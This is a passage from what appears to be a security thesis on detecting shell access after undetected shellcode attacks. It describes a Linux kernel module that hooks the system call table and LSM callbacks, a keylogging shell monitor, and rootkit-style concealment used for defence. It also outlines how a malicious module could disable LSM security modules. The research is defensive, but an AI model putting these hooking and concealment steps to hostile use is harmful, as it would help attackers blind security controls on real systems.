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Abstract 

 

  In recent years the intensity and complexity of cyber attacks have increased at a 

rapid rate.  The cost of these attacks on U.S. based companies is in the billions of dollars, 

including the loss of intellectual property and reputation.  Novel and diverse approaches 

are needed to mitigate the cost of a security breach, and bridge the gap between malware 

detection and a security breach.  This thesis focuses on the short term need to mitigate the 

impact of undetected shellcodes that cause security breaches.  The thesis's approach 

focuses on  the agents driving the attacks, capturing their actions, in order to piece 

together the attacks for forensics purposes, as well as to better understand the opponent.  

The work presented in this thesis employs models of  normal operating system behavior 

to detect access to the operating system's shell interface.  It also utilizes malware 

techniques to avoid detection and subsequent termination of the monitoring system , as 

well as dynamic shellcode execution methodologies in the testing of the thesis' modules 

to implement a monitoring system. 
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1. Introduction  

 

 Summer of 2009 witnessed the largest cyber espionage campaign against U.S. 

based companies to date.  It is now known as Operation Aurora Attacks.  A small 

software development company called Solid Oak was among those U.S. based companies 

caught in the wave of attacks.  Their flagship product,  a web filtering application called 

CyberSitter, was at the epicenter of a copy right infringement battle.  The company 

claimed the Chinese  government had stolen the source code for CyberSitter to 

implement a national web censoring service.  Curious of the claim made by Solid Oak, 

University of Michigan researchers examined the code, and confirmed the company’s 

claim.[32]  They discovered an upgrade announcement comment for CyberSitter  

accidentally left in the censorship service’s code. 

 

 Soon after the University of Michigan researcher's findings, Solid Oak began a 

civil lawsuit.  Within less than 2 weeks of accusations, strange things began happening on 

Solid Oaks networks and services.  For the next 3 years the company is under intense 

cyber attacks.  Product orders begin to fail, servers reboot on their own, support websites 

become unavailable.  In short, it brings the company to the brink of bankruptcy. Tired of 

fighting and short on cash, the company settles out of court,  and two months later the 

lawsuit is dropped.  Within those same two months, the cyber attacks on the company's 

networks stopped. 
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 On Feb. 2012, a security firm based out of Washington DC by the name of 

Mandilant, released a report on the suspected perpetrators of Operation Aurora.  It 

claimed the operation was undertaken by 50 to 100 hackers, trained on network breaches 

and information stealing.  The report provides details on the level of organization, skill, 

and methodology used by this group of hackers.[22]  It also alleges that it’s a state run 

military unit, based out of China.  On Sept. 2013, Symantec Corp. released a report 

confirming Mandilant’s findings, short of pointing fingers to any nation.[9]   

 

 In short, U.S. based companies are losing billions of dollars due to cyber attacks.  

In the case of Solid Oak, legal fees where in the 100's of thousands of dollars.  They lost 

sales, wages, clients and future clients, plus 56 million unlicensed copies of their software 

were released, representing a loss of $39.95 per copy.  

 

1.1 Detection Problem 

 

 Breaches like the one experienced by Solid Oak are possible due to the attackers' 

tools ability to avoid detection.  There are varying degrees of success and failure rates 

reported by the research community when it comes to malware detection.  Some report as 

low as 55% detection rates for single detectors, others point to a 62%-87% detection rate, 

and still others report upwards of 99.999% detection rates. [7][8][30][5] 
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 Bishop et al. [5] claimed 99.999% detection of malware variants not previously 

seen, however their study used 26 detectors in unison to achieve that rates.  Their tests of 

various detection products also showed a minimum detection rate of 55% for any single 

detector.   Their study concluded that 8 detectors are the sweet spot in terms of diversity 

and detection gained.  Given the performance costs associated with detection products, 

suggesting the purchase and simultaneous execution of 8 to 26 different detection 

products is not a viable solution. 

 

 Cheng et al. [8] achieve an overall 62-87% detection rate.  Their higher rate of 

87% was in detection of metamorphic shellcode using virtualization to emulate the actual 

execution of the malware payload.  Metamorphism refers to changing the code 

syntactically but maintaining the semantics of the code.  Malware polymorphism is a 

technique used to disguise code by obfuscation and masking.  The two approaches used 

are: Metaphorphism and Self-ciphering.   Self-deciphering refers to the use of 

encoding/decoding routines to mask the presence of the malware.  It is achieved by 

several rounds of encoding and using different keys.  In order to ―decode‖ the payload, a 

clear-text routine must exist to undo the ciphering. 

 

 Shellcode is low level code, usually translated into hexadecimal format, that tricks 

a vulnerable program into executing the user supplied input as program instructions 

rather than data.  It has become synonymous with the payload portion of a malware 

sample.[2]  The most common payload used in shellcode is some sort of root shell, where 

the purpose is to gain root level access to the remote computer.  The Linux Operating 
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System provides two interfaces for the user to interact with the Operating System.  They 

are a graphical user interface and a text-based user interface.  The text-based user 

interface to the Operating System is called the shell.  Users can access the shell locally, 

and remotely, this is covered in further detail in section 3.1.  A bind shell is a shell 

process that waits for a remote connection on a predetermined port.  Upon remote user 

connection to the predetermined port, the remote user is granted access to the shell.  In 

contrast a reverse shell does not wait for a connection request, but rather opens a 

connection to a remote computer on a predetermined address/port combination.  The 

remote computer waits for a callback on the predetermined address/port combination to 

establish a connection.  Upon reception of the callback, remote access to the shell is 

granted. 

 

 Cheng et al.'s [8] results also showed that reverse shell and bind shell encoded 

shellcode evaded detection altogether.  Even with the aid of emulation anywhere from 13-

38% of shellcode goes undetected.  The work presented in this thesis focuses on the same 

reverse and bind shell encoded shellcodes for testing.  Continued efforts will make 

detection better.  Yet, with improved detection, evasion also evolves.  This leaves the 

systems unprotected until the detection catches up.  A need to mitigate these types of 

attacks will continue to be needed due to this relationship between detection and evasion. 

 

 The major approaches to defending the system against breaches caused by 

malware are misuse-based and anomaly-based malware detection.  They both focus on 

modeling behavior to detect the attack and protect the system.   The models are generally 
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based on system call sequencing, API calls, execution tracing, runtime instruction 

sequencing, heuristics, among others, applied either to malware or the 'normal' 

system/application.  

 

 Misuse-based approaches focus on modeling malware behavior to extract patterns 

for detection.  Anomaly-based approaches focus on modeling of normal system or 

application behavior, and using those models to detect any process that deviates from the 

observed model in hopes of detecting an attack. 

 

  Rieck et al. [30] focused on helping detectors catch up to new attacks.  They 

proposed automatic processing of extracted malware behavior to dynamically update the 

malware detectors.  They conclude that their method can correctly detect 70% of malware 

missed by anti-malware solutions.  This still leaves 30% of undetected malware, and 

shows that improvements in malware detection still do not eliminate the need to mitigate 

detection failures. 

 

 Signature based approaches rely on inspecting the malware binaries for strings 

that can be used to identify the malware samples.  Countless studies have warned that 

signature based malware detection methods, both in the host and the network, are no 

longer viable solutions to the malware threats that we are facing today. [36][15] 

[21][34][13]  Most research report between a 62-87% detection rate, and this percentage 

includes the various attempts to improve the malware detectors. Although malware 
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detection is crucial and must continue to be researched, this thesis' focus is on attempting 

to mitigate the percentage of undetectable malware that will execute its payload on the 

systems it infects. 

 

 New and diverse approaches are needed to mitigate the new school of attacks, in 

the long run.  In the short run, lessening the impact of security breaches is critical.  The 

work presented in this thesis focuses on the short term, mitigating the impact of a security 

breach.  A security breach is when an unauthorized user gains access to a computer 

system.  When a breach takes place, figuring out which systems are compromised and 

which data has been stolen is a difficult task.    With the observed limitations of current 

malware detection to protect against security breaches, a different approach was needed 

to lessen the impact of these types of attacks.  Several questions were posed; 

 

 1. Can mitigating the detection gap be achieved without focusing on improving 

malware detection? 

 2.  Given the current approaches, can we use a behavior-based approach to 

mitigate this malware detection gap? 

 

 In terms of breach mitigation, two concepts were posed.  The first was the idea of 

an airplane blackbox. When an accident takes place, the investigators can examine the 
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plane's blackbox to aid them in rebuilding the incident.  They can look at the airplane 

data, all gauge information, and the pilot's actions. 

 

 Most of the detection research focuses on the airplane, looking at the malicious 

processes' heuristics, API calls and system call invocations, etc.  The focus is on the 

malware processes to understand and detect the attacks.  There’s a lack of research on the 

pilots, the agents driving the attacks.  This thesis' proposed approach focuses on the 

actors of the attacks, capturing their actions, in order to piece together the attacks for 

forensics purposes, and to better understand the opponent. 

 

 The second thought was that there should be no limitations on the methods or 

tools used to defend the system.  Rootkits are used by malware writers to conceal their 

activities in the infected computers.  Experiments with rootkit methodologies and 

malware techniques are employed to track the attacker and  avoid termination of the 

monitoring solution.  One cannot disable a defensive tool whose presence is unknown or 

concealed.  This the classic rootkit methodology with a defensive twist.  

 

 Additionally, malware writers are beginning to mimic models of "normal" 

behavior to defeat anomaly-based detection approaches [43][24], thus the gap between 

malware detection and a security breach  is one that must be address independently from 

the various malware detection efforts.  Meaning that malware detection needs to continue 
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to be researched and improved, but that it is evident that malware detection alone cannot 

satisfy the security requirements we need today.  And that we will more likely than not 

always have malware that cannot be detected, nor stopped. Given this possibility, another 

mitigation approach needs to be implemented in conjunction with the malware detection 

efforts.  

 

 

1.2 Thesis Goal 

 Desktop Operating Systems like Linux and Windows are divided in two modes of 

execution.  They are user-mode or user-space, and kernel-mode or kernel-space.  Kernel-

space refers to the Operating System itself, the scheduling, memory management, direct 

access to hardware, etc.  User-space refers to anything outside of the kernel.  Application 

programs written in java or C# are user-space programs, they accomplish a task, but they 

do not alter the Operating System  itself.  Device drivers are examples of kernel-space 

modules, as they extend the functionality of the Operating System by allow it to 

communicate with a physical device. 

 

 The goal of this thesis is to investigate if the gap between what is detected and 

what exploits a victim's Operating System could be bridged, without focusing on 

improving malware detection.  Rather the focus is on how the Operating System works, 

to develop a breach mitigation solution.   
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 The first part of this question is how to bridge the gap between malware detection 

and breach without focusing on improving malware detection. To this end, a kernel-

space module was built based on normal system behavior to detect access to any of the 

system provided shells.  Examples of system provided shells are the Bourne Again Shell 

(bash) and C shell (csh) programs.  A kernel module is program that can be used to 

extend the functionality of the Operating Systems without the need to reboot the system, 

in depth coverage of the  is covered in section 3.1.  Standard test procedures were 

developed to test the thesis' module.  These access verification procedures are covered in 

detail in Section 4.  They included eleven binaries injected with malicious code 

previously known to evade detection, as well as standard access procedures to verify 

functionality against normal system behavior.   

 

 The second part of the research question is can normal system behavior models be 

used to create a breach mitigation solution (to bridge the gap).  To this end, a user-space 

logging facility was developed, modeled after normal access to the system provided 

shells, from a local and remote access perspective.  These normal system behavior 

models make use of pseudoterminals that rely on the Teletype layer (TTY layer) to access 

the operating system's shell interface. The TTY layer is used by pseudoterminals to 

process input received from the user.  Pseudoterminals are virtual devices that provide 

Inter Process Communication (IPC) channels for programs like bash or csh.  We will 

discuss pseudoterminals  and the TTY layer in greater depth in Section 3.  A standard test 

was developed to test the logging facility's ability to capture input to the shells.  Using the 
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Access Verification Procedures, eleven exploits were used during testing.  The access 

verification procedures also include normal behavior tests to verify the solution's 

functionality against normal behavior. 

 

 The work presented in this thesis assumes that the malware detection mechanisms 

in place have failed, and that efforts to improve the detection mechanisms cannot fully 

account for all of the attacks on the system.  It also assumes that malware can and does 

mimic normal system behavior. 

 

 The remainder of this thesis is organized as follows: Section 2 presents the 

Literature Review of recent work done in the area of malware detection and evasion.  

Section 3 details the Implementation along with technical background, followed by 

Experiment Procedure and Results in Section 4 and 5.  Section 6 discusses Future Work, 

and Section 7 concludes the work presented by this thesis.  Lastly the  References used 

can be found in the Bibliography. 
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2. Literature Review 

 

 Significant effort has gone into malware detection as a means to protect computer 

system.  The approaches vary from using static and dynamic analysis of malware, used to 

extract accurate and reliable information on the execution of malware [44][29][16][[30], 

to the use of normal system behavior.[14][24][4] 

 

 Jafarian et al. [14] uses system call sequences and the program counter to model 

program behavior.  They use the program counter to determine the originating point of 

the system call from the program being modeled.  They use this technique to model 

programs whose source code is not available for inspection.  They store this information 

in a state machine, specifically a Deterministic Push Down Automaton.  They detect 

anomalies, thus potential intrusions, using the learnt program behavior and the frequency 

of visits to each transition state observed during the training phase.  The ptrace system 

call is relied upon to capture system call information in user-space.  Jafarian et al. [14] 

prefer to use user-space programs to trace calls as opposed to modifying the kernel to 

acquire this information for security reasons.  They reason that altering the kernel or 

implementing their solution in kernel-space diminishes the overall security of the system.  

 

 The work presented in this thesis also relies on the ptrace system call to track 

suspicious processes' system calls, as well as to keep the monitoring portion of the 

solution in user-space.  Security concern over potentially introducing multiple 

vulnerabilities at the kernel level require the implementation of the monitor in user-space.  
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This thesis also utilizes system calls to extract program behavior, however inspection of 

the source code is relied upon as well, given that the Linux source is available.      

 

 Bernaschi et al. [4] implements kernel level system call monitoring to restrict 

access to certain system calls deemed "dangerous".  Its focus is to prevent both stack and 

heap overflow attacks.  It is implemented as a kernel patch and adds extensions to some 

system utilities to produce safer versions.  Their modifications do not alter kernel data 

structures or algorithms, thus it is transparent to the programs making the system calls.  

Bernaschi et al. [4] rely on a subset of system calls and their arguments to create an 

Access Control Database(ACD).  They analyze program behavior by source code 

inspection and the results of the strace program to define the set of system calls, files and 

directories to include in their ACD.   

 

 Strace intercepts and records the system call invocations, along with arguments 

and return values, made by a process being tracked by the program.  The ACD contains 

the name of processes and programs that are allowed to use certain system calls.  Any 

program attempting to use the system calls not in  the list is denied access to the system 

call and logged for auditing. 

 

 A portion of the work presented in this thesis is implemented in the kernel, as a 

loadable kernel module.  A loadable kernel module is a kernel-space program that can be 

loaded into the Operating System without the need to reboot the computer.  The 

functionality that the module provides can be accessed as soon as the module is loaded.  
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This enables the use of the module's functionality without a system reboot, and does not 

require access to the kernel source code to integrate into the operating system.  It utilizes 

a subset of system calls and their arguments, along with "hooking" of the Linux Security 

Module (LSM) framework, due to the performance cost of system call monitoring.  A 

hook is a point in the one of the many system's message-handling mechanisms where a 

module can redirect the flow of execution with the intent to process or inspect the traffic 

before or after it reaches the intended routine.  Hooking is the process of redirecting the 

flow of execution into secondary code and way from the intended routine.  Section 3 

elaborates on Linux Security Modules framework and the different hooking techniques 

employed by this thesis.   

 

 

 In order to derive the behavior of terminal oriented programs that access the shell 

interface, inspection of the Linux kernel 3.2 source code is employed.  Programs like 

bash and csh are terminal oriented programs, as they were designed to be accessed by 

terminal devices.  These were physical devices that provided input and output capabilities 

through serial connections.   The strace program is relied on to create a subset of system 

calls to monitor, given the performance costs of monitoring system calls. The logging 

facility used by Bernaschi et al. [4] records blocked attempts to access the monitored 

system calls.  In contrast, the work presented in this thesis attempts to logs all input 

delivered to the shell process. 

 

 Similar efforts based on system call monitoring for malware detection remark on 
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the need to minimize the number of system calls monitored due to the performance 

degradation of monitoring a large number of events.[24][4]  Recent studies on malware 

have also shown that malware has developed the ability to terminate defensive 

solutions.[8][21][13][34][16]  

 

 This trend has been partly attributed to the defensive solution running in the same 

environment that it aims to monitor.[16]  Researchers have suggested moving the 

defensive solution outside of the monitored system to prevent termination.[16]  The 

obstacle with moving the defensive solution outside of the host lies in the loss of context 

due to the different views of the objects from the detector's view and that of the Operating 

System.  This loss is referred to as the "semantic gap" problem.   

 

 Jiang et al. [16] address the semantic gap problem with an "out-of-box" Virtual 

Machine monitoring system called VMWatcher.  They classify their solution as "non-

intrusive" as it does not affect the system state of the target VM. They implement disk 

watching, memory monitoring, and system call reconstruction of a guest OS on top of 

several different Virtual Machine Monitors (VMMs).  Part of what they do to deal with 

the semantic gap is to reconstruct the system call context of the guest OS.  They use the 

reconstructed system call context for detection as well as monitoring.  It captures and 

logs all system calls invoked during an attack.   

 

 Jiang et al.'s [16] logging facility is similar to the one presented in this thesis.  

VMWatcher's log captures all the binaries executed by malware and the post exploit 
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activity by the attacker through logging the parameters in the execve system calls made 

by the attacker's interactive shell.  In contrast, the logging facility presented by this thesis 

attempts to capture all of the attacker's input received by the interactive shell process.  It's 

a small but important difference for forensics purposes.  It enables a fuller context of the 

attacker's actions through the shell interface. If an attacker used the shell as a 

programming environment, simply grabbing what executed does not provide the script 

that was typed in the terminal.   

 

 Jiang et al. [16] implement their solution as a means to monitor virtual machines, 

the work presented in this thesis is implemented as a means to monitor the host itself.  

One of Jiang et al.'s[16] then reasonable assumptions was that malware cannot escape the 

VM, unfortunately that has been shown to be false.[10][29]  As such, monitoring of the 

host continues to be needed. 

 

 Hsu et al. [13]use malware techniques to detect specific API calls used by 

malicious programs.  They establish 8 different techniques used by malware in the wild to 

terminate anti-virus software.  They build a solution to detect the API calls made by the 

use of each of these techniques.  They hook the API calls at the System Service Dispatch 

Table (SSDT) to point to their own Dynamic Link Library (DLL).   

 

 The SSDT is a Windows kernel data structure that stores pointers to system 

services, which are native functions in the Windows OS that are callable from user 

mode[6].  It is similar to the system call table in Linux. A hook is a point in the one of the 
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many system's message-handling mechanisms where a module can redirect the flow of 

execution with the intent to process or inspect the traffic before or after it reaches the 

intended routine. 

 

 Hsu et al. [13] implement modified versions of the native calls in their injected 

DLL.  Using the hooks, they execute their code first, filter out any normal calls, and 

block any malicious ones.  Any normal calls are routed back to the original API, any 

malicious ones are stopped reporting that an access violation has occurred.  This 

technique is used by Windows rootkits in the wild to hide malicious activity.[31]    

 

 The work presented here also makes use of malware techniques applied to a 

defense solution to mitigate a system breach.  Kernel level code is implemented to hook 

into some of the Operating System's API and system call facilities.  The first difference is 

that Hsu et al.'s [13] approach models malware behavior to extract the detection 

techniques. The work presented in this thesis does not use models of malware behavior, 

nor any analysis of the malware used in the test, prior to executing them against the proof 

of concept code.  The other difference is that it is applied to a Linux environment, while 

Hsu et al.'s [13] work was based on the Windows architecture.  As such, the hooking 

techniques and hook sites within the Operating System differ in the two approaches.  

 

 Both misuse-based and anomaly-based approaches are used in the detection of 

malware, each having their shortcomings and evasion techniques.[14][16][8]  Anomaly-

based approaches have a high false-positive rate and are vulnerable to mimicry attacks.  
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Mimicry attacks refer to malware whose behavior can impersonate 'normal' behavior, 

such as  imitating the system call sequence of legitimate programs.[43][24]    

 

 Misuse-based approaches simply patch the latest threat.  The moment a new 

technique arises, detection is foiled.  It encourages the improvement of malware 

techniques and leads to a never ending chase for the latest technique.  It also imposes the 

task of attempting to model malware behavior which is not only too widely spread to be 

modeled effectively, but also exhibits 'normal' behavior.[36] 

 

    The detection of new malware is becoming increasingly difficult, seemingly a never 

ending task.  The literature as a whole suggests that we have placed too much emphasis 

on malware detection alone.  It suggests that our current defensive approach will always 

keep us a few steps behind the attackers.   

 

 Instead of trying to come up with detection mechanisms for ever changing 

malware, we need to look into alternate ways to mitigate the detection gap.  Recent 

studies suggest that an anomaly-based approach is a better way moving forward. [21][36]  

Despite the problems faced by this approach, the work presented in this thesis makes use 

of an anomaly-based approach in finding a solution to mitigate the detection gap. 
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3. Implementation 

 

 Three major modules were developed for this thesis.  The first was a loadable 

kernel module mainly responsible for capturing the process identification (PID) of any 

process accessing the system's shell interface for further inspection.  It accomplishes this 

task by hooking the system call table, and redirecting the Linux Security Modules 

framework's hooks to inspect system calls and system call parameters.  The process ID of 

captured processes are transferred to the user-space management module. 

 

 The user-space management module is the second of the three major modules 

developed.  It is the glue between the kernel module and the user-space monitoring 

facility.  It is responsible for loading the kernel module, locating the system call table for 

use by the module, processing of the suspect PIDs, and directing the logging facilities 

through the spawning of the monitoring facilities processes.  

 

  The last of the major modules developed for this thesis is the monitoring facility.  

It is the user-space program responsible for inspecting the input from the identified 

processes. Input supplied to pseudoterminals is processed in the kernel by the line 

discipline routines in the TTY layer.  The line discipline provides the ability to edit line 

input, send signals, among other filtering of input received by the processes attached to 
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the pseudoterminal device.  A keylogger captures and records keys pressed by a user.  The 

monitoring facility implements a user-space line discipline and keylogging functionality 

for proper processing of shell input and recording of the input.  It accomplishes the 

monitoring by attaching to  processes identified by the kernel module, and records any 

user input delivered to the system's shell interface.  The implementation overview of 

these three major modules is shown in figure 3.1. 

 

 

Figure 3.1.: Implementation Overview 
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3.1 Implementing the Kernel Module 

 

 A kernel module is a kernel-space program that can be used to extend the 

functionality of the kernel without the need to reboot the system.  Modules that 

communicate directly with hardware are special modules called drivers.  Kernel modules 

are not required to have this capability.  The module referenced in this work only extends 

the functionality of the kernel (i.e. it's not a device driver).  Modules are also not required 

to communicate with user-space programs, but those that do have several OS provided 

interfaces to accomplish this interaction.  A kernel modules has the ability to view the 

system from the kernel's perspective, this allows the module to interact with any process 

within the Operating System. 

 

 In order to identify processes accessing the system's shells, the kernel module 

makes use of the system call facility and the Linux Security Modules Framework.  A 

system call is the kernel's mechanism of receiving requests for some sort of service from 

user-space.  It's the user-space interface to kernel-space functions.  In order to fulfill the 

requested service, the kernel locates the necessary function from the system call table.  

The system call table is a kernel data structure that maintains mappings between the 

exported user-space interface and the kernel's implementation of each function. 
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Figure 3.2.: System Call Table Unhooked & Hooked 

 

 Modifying the system call table allows us to redirect the flow of the request into 

secondary code.  A process known as "hooking" the system call table.  The kernel module 

hooks the open system call, in order to inspect its parameters, depicted in Figure 3.2.  It 

detects the opening of the pseudoterminal multiplexer device by any process. The 

pseudoterminal multiplexer device (ptmx) dynamically creates pseudoterminal pairs, for 

processes that require a terminal emulator.   

  

 Terminal emulator programs are used to interact with the shell, which is the 

interface between the user and the kernel.  Originally users connected to Unix based 

systems through serial devices called terminals.  These were actual physical devices.  
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Currently, graphical interfaces connected to window management systems like X Server 

provide users with this functionality.  Programs like gnome-terminal, xterm, or ssh 

provide users connection to the operating system through the terminal interface or shell 

interface.  These types of programs are called terminal emulator programs, as they mimic 

the behavior of serial terminals through the use of pseudoterminals.  A pseudoterminal is 

a virtual device that provides Inter Process Communication.  It is somewhat like a  

bidirectional pipe, but more involved due to the functionality provided by the line 

discipline.  The line discipline is discussed in more detail in Section 3.3.  A 

pseudoterminal encapsulates a pair of connected virtual devices a master and slave.[18]  

Terminal emulator programs (driver program in image) rely on pseudoterminals for Inter 

Process Communication, depicted in Figure 3.3.  

 

Figure 3.3.: Pseudoterminals 



23 
 

 

 Accessing the system's shell interface allows us to interact directly with the 

Operating system.  Terminal emulator based programs like Secure Shell (ssh) enable us to 

connect to the system's shell interface remotely, shown in Figure 3.4.  Attackers also use 

this capability to gain remote access to compromised systems.  In order to detect 

processes that provide this functionality, the kernel module detects access to the ptmx 

device.  The other technique used by the kernel module relies on the Linux Security 

Modules Framework.   
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Figure 3.4.: SSH Access to Shell 

 

 The Linux Security Modules Framework (from hence forth LSM) is a framework 

that provides general support for security modules in Linux.  The Linux O.S. utilizes a 

discretionary access control model, meaning that a user can give access to their files at 

their discretion. The LSM's framework main use is in providing improved access control 

modules.  For example it can be used to change the access control to a centralized model 

instead of discretionary.  Commonly known security modules that make use of the LSM 

API include SELinux (used by Fedora, Red Hat, CentOs) and AppArmor (used by 

OpenSUSE, Ubuntu, among others).[23]  The framework adds security fields to kernel 

data structures, like struct task_struct and struct linux_binprm.  It also inserts calls to 

hook functions at critical points in the kernel code[5].  A hook is a point in the one of the 

many system's message-handling mechanisms where a module can redirect the flow of 

execution with the intent to process or inspect the traffic before or after it reaches the 

intended routine.  The hooks rely on a global security operations table defined as struct 

security_ops in /include/linux/security.   The security_ops table is a structure with a large 

number of function pointers, each function pointer in this global table is an LSM module 

hook.  They are organized into logical sets based on kernel objects (sockets, files, etc).   

 

 The framework makes provision for stacking security modules, however only one 

LSM module can be compiled into the kernel.  Extending the framework's support for 

stacking additional modules is left up to the individual modules[35].  It is worth 
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restating that LSM modules require compilation into the kernel, which means that any of 

the LSM's exported symbols are made available by the kernel.  In order for the hooks to 

callback the appropriate LSM module's functions, the security_ops global table must also 

be exported by the kernel.   This fact enables the use of the exported symbols to locate the 

different data structures involved in its operations.   

 

 The method of redirecting API functions from their intended library into 

secondary code is known as API hooking.  The general idea involves identifying and 

locating the appropriate kernel data structure, saving an existing entry from the table, 

swapping in a new address to replace the existing entry, and restoring the original entry 

prior to unloading any of the hooked functions.  API hooking is employed to successfully 

redirect calls to the LSM module into functions within the thesis' kernel module.  Some 

examples of API hooking used for defensive purposes are the security kernel patch 

grsecurity and loadable kernel module tpe-lkm.   

 

 The grsecurity patch is a port of the Openwall project which focuses on security 

enhancements.  It is maintained by Brad Spender, and is implemented as a kernel patch, 

not an LSM module.  It adds features like PaX, ASLR, Trusted Path Execution (TPE), 

among other features.[39]  PaX marks regions of memory as non-executable or non-

writable, in order to prevent injected code execution attacks.  ASLR randomizes the base 

address of executables, libraries, and other process data structures in order to make buffer 

overflow attacks more difficult.  Of special interest to the work presented by this thesis is 
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the Trusted Path Execution feature in grsecurity.  It prevents users from executing their 

own binaries.  It does this by denying users added to the "untrusted" group of users from 

executing any binary that is not in a root-owned directory, whose write permission is only 

held by the root user[7].   

 

 This technique was also used by Corey Henderson in his security kernel module 

TPE-LKM (Trusted Path Execution-Loadable Kernel Module) to inspect the parameters 

of the execve system call.[11]  Henderson makes use of many of the Linux Security 

Modules Framework hooks to expand the Trusted Path Execution feature of the 

grsecurity patch.  He implements his security tool as a kernel module.  A similar API 

Hooking technique is used in this thesis to inspect the parameters of execve system calls 

as the one used by grsecurity and tpe-lkm,  however the implementation in this thesis uses 

the technique to detect the execution of shells, whereas the other two project's emphasis 

is on stopping the execution of certain binaries.   

 

 The operation of executing binaries for user-space programs is the responsibility 

of the execve system call.  In the process of accomplishing its mission, it makes use of 

many of the hooks in the security_ops table.  It relies on the 'binary parameters' structure 

(struct linux_binprm) to match the format of the binary received to the correct binary 

handler for execution. From our discussion on the LSM framework above, this is one of 

the kernel data structures modified to include additional security fields. The binprm struct 
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encapsulates all the information that a binary handler requires to execute a program: it's 

name, type, virtual memory information, credentials and capabilities, etc. 

 

 Once a program requests the execution of a binary via the system call facility, 

do_execve() is called, which calls do_common_execve().  do_common_execve() causes 

several of the hooks in the security operations table to activate the LSM module's 

callback functions, as it prepares the binprm structure, opens the necessary files, and 

requests the scheduling of the task. 

 

            The last thing the execve system call does is to search for the appropriate binary 

handler, and passes it the binprm structure to execute the file via the selected handler.  

This takes place via a call to search_binary_handler(), which makes a call to 

security_bprm_check(), causing a hook to the LSM module's registered callback function 

bprm_check_security() to execute.  The flow of execution by the exec system call is 

depicted in Figure 3.3.  Collectively, the flow of execution through the execve system call 

functions is referred to as the execve call stack.   
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Figure 3.5.: Linux Security Module Framework Unhooked 

 

 The bprm_check_security() callback function is redirected in order to inspect the 

parameters received by the execve system call, and detect the execution of any shell 

within the monitored system.      

 

 LSM "hooking" steps in the module:  

 1.  Locate the security operations structure by searching through the exported  

 kernel's symbols table. 

 2.  Store the address of the security operations structure in the module 
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 3. Store the original address of the bprm_security_check() callback function from  

 the security operations table. 

 

 4.   Replace the address of the bprm_security_check() callback function to the  

 kernel  module's version of the function in my kernel module.  

 

 5. Using the redirected version of bprm_secutiry_check(), inspects the filename 

 parameter against a list of shells and records the PID (Process Identification) of 

 the process invoking the execution of a shell in a circular buffer within the kernel 

 module. A visual representation of these steps is shown in figure 3.4. 

 

 

Figure 3.6.: Linux Security Module Framework Hooked 

 

 The module maintains a copy of the PID until it receives a signal from the pilot 

process requesting transfer of any newly-stored PID. Upon request, the kernel module 

transfers the suspect PID to the user-space pilot program for further monitoring.  
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 It's worth mentioning that this same technique could be used to disable any 

security module using the LSM framework's API, and represents a single point of failure 

for the LSM framework[12][40][42].  A malicious kernel module could simply redirect 

the pointer to the security operations table, and not just a single function as I is done by 

this thesis' kernel module, and disable the entire LSM security module in the process.  In 

summary, the kernel module utilizes API hooking of the LSM callback hooks to redirect 

bprm_security_check() for inspecting the execve parameters in order to detect the 

execution of shells by any process. 

 

 The use of API hooking of the LSM framework's hooks was necessary to inspect 

the parameters in the execve system call.  The system call table hook used to inspect the 

parameters of the open system call could not be used to inspect the parameters of the 

execve system call.  In order to redirect the open system call, the system call table hook 

instructs the compiler to pass the parameters of the redirected system call on the stack 

instead of through the general purpose registers.  The execve call stack expects to receive 

its parameters directly from the registers.  Due to this constraint, the system call table 

hook previously employed could not be used for hooking the execve system call. 
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3.2 Implementing the Management Service 

 

 The management service is implemented in the kernel module.  It is intended to 

operate in conjunction with the user-space management module.  Together they enable 

the transfer of data between the kernel module and the user-space monitoring facility.  

There are several interfaces for transferring data to and from kernel modules to user-

space programs provided by the kernel.  Kernel modules use these mechanisms to interact 

with user-space programs and vice versa.   These methods include the different virtual 

file systems (proc, debugfs, configfs, sysfs), signals, memory mappings, and system calls. 

A virtual file system is one that does not exist on disk, but rather it is maintained in RAM 

by the kernel.   

 

 Sysfs  is one of these virtual file systems.  It was created to solve the power 

management problem of shutting down devices in the correct order, but it proved to be an 

excellent way to provide user-space programs a better interface to the kernel objects, their 

hierarchy, and relationships from the kernel's perspective.   In order to use sysfs for data 

transfer, the module must export the desired parameters or subsystems to the kernel.  The 

kernel in turn will include the module's objects as part of the sysfs directory hierarchy it 

creates.  A user-space program can then access the module's handles provided through 

sysfs to communicate with the module.  sysfs is meant to replace the use of proc VFS for 

anything other than process information. 
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 The proc file system is another one of these virtual file systems.  It's intended use 

was for accessing process information, but it developed into a location for all sorts of 

kernel object interactions.  In order to use this mechanism, the kernel module must create 

entries into this virtual file system, and provide functions to carry out the requests from 

user-space.  For the user-space program, it requires a handle to the procfs file created by 

the module. 

 

 Another way to interact with modules is through the use of devices.  In Linux 

makes use of types of devices, block devices and character devices.  Devices allowing 

random access to blocks of data, like disks, are represented by block devices.  Character 

devices are used to represent all other non-random access devices like mice, keyboards, 

modems, terminals, etc.  A kernel module can create a virtual device, like a character 

device, to provide a user-space program a communication interface.  Depending on the 

functions included in the module, a user process can request data by reading from the 

device, and send data to the module by writing to the device. 

 

 Another use of devices for interacting with modules is through the use of Input 

Output Control (IOCTL) system call.  IOCTL is used to send control information to 

modules, for example to set the different flow rates for hardware devices.  This 

mechanism can be used to signal a module to perform an assortment of actions.  A 

module must provide the ioctl methods to handle the requests, and create the necessary 
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devices similar to the previous approach.  The difference between the two approaches are 

the system calls used by the user-space program to access the module provided handles. 

 

 A system call is the kernel's mechanism of receiving requests for some sort of 

service from user-space.  It's the user-space interface to kernel-space functions.  One way 

to implement communication between a kernel module and a user-space program is 

through the creation of a custom system call.  In order to use this mechanism, a module 

writer must modify the kernel source, and recompile the kernel.  A much less invasive 

approach is the use of signals. 

 

 A signal is an alerting mechanism used to deliver notification of events to 

processes.  A kernel module can rely on real-time signals to deliver data to a user-space 

program.  A real-time signal is different from a standard signal in that it can carry up to 

32-bits of data, and the user-space process handles each signal in order.  Standard signals 

do not receive this queuing treatment.  In order to use this approach, the user-space 

program must register a signal handler, and the kernel module must know the Process 

Identification (PID) of the receiving process.   The biggest limitation of this approach is 

that the user-space program cannot send data to the module using this mechanism.   Other 

mechanisms, like memory mapping, do not impose this restriction 
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 Memory mapping involves marking a memory page for the purpose of sharing the 

memory area.  In order to use this approach, a module has to create a file in one of the 

VFS locations, allocate a memory area to share, and map the memory area to the VFS 

created file. From the user-space program's perspective, it has to acquire a handle to the 

same VFS file created by the module, and rely on the read, write, or memory copy system 

calls to access the shared memory.  The biggest hindrance to using this approach lies on 

the lack of notification that data has been read or written in either direction.  Thus, neither 

